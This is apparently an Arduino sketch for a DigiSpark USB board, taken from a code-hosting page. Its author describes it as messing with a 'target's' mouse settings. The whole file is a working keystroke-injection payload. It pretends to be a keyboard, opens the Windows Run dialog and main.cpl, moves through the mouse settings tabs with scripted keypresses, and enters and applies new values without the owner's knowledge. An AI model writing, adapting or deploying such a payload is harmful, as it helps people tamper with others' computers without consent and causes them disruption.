91 lines
3.0 KiB
Arduino
91 lines
3.0 KiB
Arduino
|
//This DigiSpark script messes with your target's mouse settings to annoying levels
|
||
|
//Tested on Windows 10 with English(US) keyboard layout
|
||
|
//Created by Vel1khan
|
||
|
|
||
|
#include "DigiKeyboard.h"
|
||
|
void setup() {
|
||
|
#define KEY_TAB 43
|
||
|
#define KEY_ARROW_RIGHT 0x4F
|
||
|
}
|
||
|
|
||
|
void loop() {
|
||
|
DigiKeyboard.sendKeyStroke(0);
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.print("main.cpl");
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE);
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE);
|
||
|
DigiKeyboard.delay(200);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.print("100");
|
||
|
DigiKeyboard.delay(500);
|
||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||
|
for(;;){ /*empty*/ }
|
||
|
}
|